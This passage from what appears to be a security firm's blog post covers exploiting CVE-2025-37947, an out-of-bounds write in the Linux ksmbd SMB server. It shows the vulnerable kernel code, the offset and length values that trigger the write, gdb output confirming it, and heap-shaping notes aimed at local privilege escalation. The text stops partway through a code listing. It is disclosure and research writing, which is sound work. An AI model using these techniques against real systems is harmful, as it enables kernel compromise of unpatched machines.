   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This is the last of our posts about ksmbd. For the previous posts, see &lt;a href=&quot;https://blog.doyensec.com/2025/01/07/ksmbd-1.html&quot;&gt;part1&lt;/a&gt; and &lt;a href=&quot;https://blog.doyensec.com/2025/09/02/ksmbd-2.html&quot;&gt;part2&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Considering all discovered bugs and proof-of-concept exploits we reported, we had to select some suitable candidates for exploitation. In particular, we wanted to use something reported more recently to avoid downgrading our working environment.&lt;/p&gt;

&lt;p&gt;We first experimented with several use-after-free (UAF) bugs, since this class of bugs has a reputation for almost always being exploitable, as proven in numerous articles. However, many of them required race conditions and specific timing, so we postponed them in favor of bugs with more reliable or deterministic exploitation paths.&lt;/p&gt;

&lt;p&gt;Then there were bugs that depended on factors outside user control, or that had peculiar behavior. Let’s first look at &lt;a href=&quot;https://github.com/torvalds/linux/commit/15a9605f8d69dc85005b1a00c31a050b8625e1aa&quot;&gt;CVE-2025-22041&lt;/a&gt;, which we initially intended to use. Due to missing locking, it’s possible to invoke the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_free_user&lt;/code&gt; function twice:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_free_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ksmbd_ipc_logout_request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;kfree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;kfree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;kfree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this double-free scenario, an attacker has to replace &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user-&amp;gt;name&lt;/code&gt; with another object, so it can be freed the second time. The problem is that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc&lt;/code&gt; cache size depends on the size of the username. If it is slightly longer than 8 characters, it will fit into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc-16&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc-8&lt;/code&gt;, which means different exploitation techniques are required, depending on the username length.&lt;/p&gt;

&lt;p&gt;Hence we decided to take a look at &lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2025052059-CVE-2025-37947-8c07@gregkh/&quot;&gt;CVE-2025-37947&lt;/a&gt;, which seemed promising from the start. We considered remote exploitation by combining the bug with an infoleak, but we lacked a primitive such as a &lt;a href=&quot;https://youtu.be/XT6jLBbzwFM?si=V7fh7VuH0uPG9s75&amp;amp;t=813&quot;&gt;writeleak&lt;/a&gt;, and we were not aware of any such bug having been reported in the last year. Even so, as mentioned, we restricted ourselves to bugs we had discovered.&lt;/p&gt;

&lt;p&gt;This bug alone appeared to offer the capabilities we needed to bypass common mitigations (e.g., KASLR, SMAP, SMEP, and several Ubuntu kernel hardening options such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HARDENED_USERCOPY&lt;/code&gt;). So, due to additional time constraints, we ended up focusing on a local privilege escalation only. Note that at the time of writing this post, we implemented the exploit on Ubuntu 22.04.5 LTS with the latest kernel (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5.15.0-153-generic&lt;/code&gt;) that was still vulnerable.&lt;/p&gt;

&lt;h2 id=&quot;root-cause-analysis&quot;&gt;Root cause analysis&lt;/h2&gt;

&lt;p&gt;The finding requires the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stream_xattr&lt;/code&gt; module to be enabled in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vfs objects&lt;/code&gt; configuration option and can be triggered by an authenticated user. In addition, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writable&lt;/code&gt; share must be added to the default configuration as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[share]
        path = /share
        vfs objects = streams_xattr
        writeable = yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is the vulnerable code, with a few unrelated lines removed that do not affect the bug’s logic:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_vfs_stream_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loff_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				  &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stream_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mnt_idmap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idmap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_mnt_idmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;ssize_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;ksmbd_debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VFS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;write stream data pos : %llu, count : %zd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;XATTR_SIZE_MAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [1]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;XATTR_SIZE_MAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;XATTR_SIZE_MAX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;wbuf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kvmalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFP_KERNEL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__GFP_ZERO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [2]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;stream_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stream_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [3]&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// .. snip &lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f_pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;out:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;kvfree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stream_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The size of the extended attribute value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XATTR_SIZE_MAX&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;65536&lt;/code&gt;, or 16 pages (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10000&lt;/code&gt;), assuming a common page size of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1000&lt;/code&gt; bytes. We can see at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[1]&lt;/code&gt; that if the count and the position surpass this value, the size is truncated to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10000&lt;/code&gt;, allocated at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[2]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Hence, we can set the position to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10000&lt;/code&gt;, count to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy(stream_buf[0x10000], buf, 8)&lt;/code&gt; will write user-controlled data 8 bytes out-of-bounds at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[3]&lt;/code&gt;. Note that we can shift the position to even control the offset, like for instance with the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10010&lt;/code&gt; to write at the offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;16&lt;/code&gt;. However, the number of bytes we copy (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;count&lt;/code&gt;) would be incremented by the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;16&lt;/code&gt; too, so we end up copying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24&lt;/code&gt; bytes, potentially corrupting more data. This is often not desired, depending on the alignment we can achieve.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;

&lt;p&gt;To demonstrate that the vulnerability is reachable, we wrote a minimal &lt;a href=&quot;https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/proof-of-concept.c&quot;&gt;proof of concept&lt;/a&gt; (PoC). This PoC only triggers the bug - it does not escalate privileges. Additionally, after changing the permissions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/pagetypeinfo&lt;/code&gt; to be readable by an unprivileged user, it can be used to confirm the buffer allocation order. The PoC code authenticates using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smbuser/smbpassword&lt;/code&gt; credentials via the &lt;a href=&quot;https://github.com/sahlberg/libsmb2&quot;&gt;libsmb2&lt;/a&gt; library and uses the same socket as the connection to send the vfs stream data with user-controlled attributes.&lt;/p&gt;

&lt;p&gt;Specifically, we set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_offset&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0000010018ULL&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;length_wr&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8&lt;/code&gt;, writing 32 bytes filled with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xaa&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xbb&lt;/code&gt; patterns for easy recognition.&lt;/p&gt;

&lt;p&gt;If we run the PoC, print the allocation address, and break on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy&lt;/code&gt;, we can confirm the OOB write:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) c
Continuing.
ksmbd_vfs_stream_write+310 allocated: ffff8881056b0000

Thread 2 hit Breakpoint 2, 0xffffffffc06f4b39 in memcpy (size=32, 
    q=0xffff8881031b68fc, p=0xffff8881056c0018)
    at /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h:191
warning: 191	/build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h: No such file or directory
(gdb) x/2xg $rsi
0xffff8881031b68fc:	0xaaaaaaaaaaaaaaaa	0xbbbbbbbbbbbbbbbb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;heap-shaping-for-kvzalloc&quot;&gt;Heap Shaping for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvzalloc&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;On Linux, physical memory is managed in pages (usually 4KB), and the &lt;strong&gt;page allocator&lt;/strong&gt; (buddy allocator) organizes them in power-of-two blocks called &lt;strong&gt;orders&lt;/strong&gt;. Order 0 is a single page, order 1 is 2 contiguous pages, order 2 is 4 pages, and so on. This allows the kernel to efficiently allocate and merge contiguous page blocks.&lt;/p&gt;

&lt;p&gt;With that, we have to take a look at how exactly the memory is allocated via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvzalloc&lt;/code&gt;. The function is just a wrapper around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvmalloc&lt;/code&gt; that returns a zeroed page:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v5.15/source/include/linux/mm.h#L811&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;inline&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;kvzalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfp_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kvmalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__GFP_ZERO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then the function calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kvmalloc_node&lt;/code&gt;, attempting to allocate physically contiguous memory using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc&lt;/code&gt;, and if that fails, it falls back to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmalloc&lt;/code&gt; to obtain memory that only needs to be virtually contiguous. We were not trying to create memory pressure to exploit the latter allocation mechanism, so we can assume the function behaves like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since Ubuntu uses the SLUB allocator for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc&lt;/code&gt; by default, it follows with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__kmalloc_node&lt;/code&gt;. That utilizes allocations having order-1 pages via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc_caches&lt;/code&gt;, since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KMALLOC_MAX_CACHE_SIZE&lt;/code&gt; has a value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8192&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4424&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;__kmalloc_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfp_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;KMALLOC_MAX_CACHE_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmalloc_large_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;trace_kmalloc_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_RET_IP_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				   &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PAGE_SIZE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
